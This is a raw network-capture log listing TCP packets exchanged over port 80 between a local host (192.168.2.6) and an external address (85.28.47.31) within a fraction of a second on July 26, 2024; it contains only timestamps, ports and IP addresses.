Jul 26, 2024 10:36:15.601221085 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.601254940 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.601272106 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.601969004 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.601980925 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.601989985 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.602000952 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.602011919 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.602022886 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.602034092 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.602035999 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.602065086 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.602065086 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.602123976 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.602880955 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.602893114 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.602904081 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.602916002 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.602926970 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.602945089 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.602956057 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.602963924 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.602963924 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.603001118 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.603001118 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.603622913 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.603636026 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.603646040 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.603658915 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.603668928 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.603679895 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.603699923 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.603699923 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.603722095 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.604804039 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.604815960 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.604826927 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.604837894 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.604849100 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.604859114 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.604870081 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.604875088 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.604906082 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.605591059 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.605603933 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.605609894 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.605618954 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.605631113 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.605643988 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.605654001 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.605664968 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.605664968 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.605680943 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.605705023 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.679970980 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.680011988 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.680047035 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.680139065 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.680139065 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.680221081 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.680253983 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.680288076 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.680320978 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.680330992 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.680330992 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.680376053 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.680676937 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.680728912 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.680762053 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.680795908 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.680828094 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.680861950 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.680883884 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.680883884 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.680901051 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.680943012 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.680943966 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.681610107 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.681643009 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.681674957 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.681682110 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.681682110 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.681709051 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.681720972 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.681741953 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.681776047 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.681787968 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.681787968 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.681809902 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.681823969 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.681843996 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.681859970 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.681909084 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.682549953 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.682585001 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.682619095 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.682638884 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.682638884 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.682651997 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.682686090 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.682694912 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.682694912 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.682718992 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.682750940 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.682758093 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.682758093 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.682784081 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.682827950 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.682827950 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.683423996 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.683456898 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.683484077 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.683490992 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.683502913 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.683523893 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.683533907 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.683557987 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.683590889 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.683600903 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.683600903 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.683623075 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.683636904 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.683659077 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.683701992 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.683701992 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.684303999 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.684338093 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.684370995 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.684380054 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.684380054 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.684403896 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.684438944 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.684447050 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.684447050 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.684473038 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.684489012 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.684525013 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.684571981 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.684571981 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.685173035 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.685224056 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.685256004 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.685285091 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.685291052 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.685306072 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.685323000 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.685359001 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.685362101 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.685362101 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.685393095 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.685400963 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.685427904 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.685470104 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.685470104 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.686364889 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.686399937 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.686433077 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.686441898 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.686441898 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.686465979 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.686494112 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.686499119 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.686532974 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.686541080 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.686541080 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.686567068 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.686572075 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.686600924 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.686613083 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.686645031 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.687043905 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.687097073 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.687130928 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.687144995 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.687144995 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.687165022 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.687185049 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.687200069 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.687212944 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.687232971 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.687266111 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.687275887 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.687275887 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.687299013 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.687340021 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.687340021 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.687899113 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.687932968 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.687967062 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.687975883 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.687975883 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.687999964 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.688035965 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.688043118 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.688043118 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.688070059 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.688077927 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.688102961 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.688139915 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.688183069 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.688183069 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.688740969 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.688775063 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.688805103 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.688808918 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.688844919 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.689081907 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.689116001 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.689208031 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.689208031 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.689218044 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.689251900 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.689285994 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.689291954 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.689291954 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.689317942 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.689351082 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.689359903 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.689359903 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.689383984 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.689424038 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.689424038 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.690048933 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.690083981 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.690116882 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.690124989 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.690124989 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.690150976 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.690161943 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.690182924 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.690196991 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.690217018 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.690249920 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.690258980 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.690258980 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.690284014 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.690315962 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.690325975 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.690325975 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.690354109 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.690960884 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.690994024 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.691028118 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.691035986 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.691035986 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.691061974 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.691070080 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.691096067 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.691129923 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.691139936 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.691139936 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.691162109 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.691204071 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.691204071 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.691916943 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.691971064 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.691986084 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.692003965 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.692037106 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.692037106 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.692047119 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.692078114 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.771075964 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.771092892 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.771099091 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.771183014 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.771203995 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.771215916 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.771269083 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.771390915 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.771403074 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.771414042 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.771462917 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.771646976 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.771703005 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.771711111 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.771723032 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.771733999 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.771745920 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.771756887 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.771764994 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.771800995 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.772277117 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.772289038 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.772330999 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.772402048 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.772413015 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.772423983 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.772439957 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.772475004 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.772644043 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.772655964 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.772666931 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.772680044 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.772694111 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.772697926 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.772706032 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.772717953 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.772742033 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.772742033 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.772778988 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.773256063 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.773267031 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.773277044 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.773288965 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.773300886 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.773313046 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.773324966 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.773336887 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.773349047 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.773363113 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.773363113 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.773363113 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.773392916 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.773392916 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.774068117 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.774080038 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.774091005 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.774102926 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.774115086 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.774126053 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.774138927 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.774147987 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.774147987 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.774149895 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.774163008 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.774174929 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.774175882 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.774219036 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.774219036 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.774962902 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.774976015 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.774986982 CEST	80	49710	85.28.47.31	192.168.2.6
